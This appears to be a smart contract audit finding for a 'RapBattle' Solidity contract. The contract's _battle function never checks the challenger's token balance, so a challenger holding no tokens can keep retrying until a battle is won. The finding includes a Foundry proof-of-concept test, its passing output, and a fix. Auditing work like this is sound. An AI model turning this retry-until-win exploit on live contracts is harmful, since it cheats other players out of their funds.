Summary
Challenger getting unfair advantage
Vulnerability Details
When there is valid defender
is available, challenger can enter in the battle using goOnStageOrBattle
which calls the internal function _battle
. This function has major flaw. It doesn't check if challenger has enough tokens that he inputted as _credBet
.
If challenger wins, then it send the contract cred balance to challenger which is good. But when defender won, the function will revert due to insufficient balance in challenger wallet. This is win win situation for the challenger. Arbitrum has low gas fees, so challenger can try again and again.
POC
in existing test suite, add following unit test -
function testChallengerIsWinningWhileHavingZeroToken() public twoSkilledRappers {
address challengerWithoutCred = makeAddr("slimestShady");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(user, address(rapBattle)));
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challengerWithoutCred);
cred.approve(address(rapBattle), 3);
console2.log("User allowance before battle:", cred.allowance(challengerWithoutCred, address(rapBattle)));
console2.log("ChallengerWithoutCred balance before battle:", cred.balanceOf(challengerWithoutCred));
vm.roll(1708858010);
vm.recordLogs();
rapBattle.goOnStageOrBattle(2, 3);
vm.stopPrank();
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(cred.balanceOf(winner) == 3);
console2.log("challengerWithoutCred balance:", cred.balanceOf(winner));
}
now run the following command in your terminal forge test --mt testChallengerIsWinningWhileHavingZeroToken -vv
and it will return following
[⠒] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠑] Solc 0.8.23 finished in 1.99s
Compiler run successful!
Ran 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testChallengerIsWinningWhileHavingZeroToken() (gas: 648208)
Logs:
User allowance before battle: 3
User allowance before battle: 3
ChallengerWithoutCred balance before battle: 0
challengerWithoutCred balance: 3
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms
Ran 1 test suite in 1.48ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Defender will loose the opportunity to win, even if it's in there favor. Challenger gonna win due to without putting anything at risk.
Tools Used
Manual Review, Foundry
Recommendations
Check if has enough cred token balance in his wallet, before executing the function
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(credToken.balanceOf(msg.sender) >= _credBet, "You don't have enough cred token");
/// existing code
}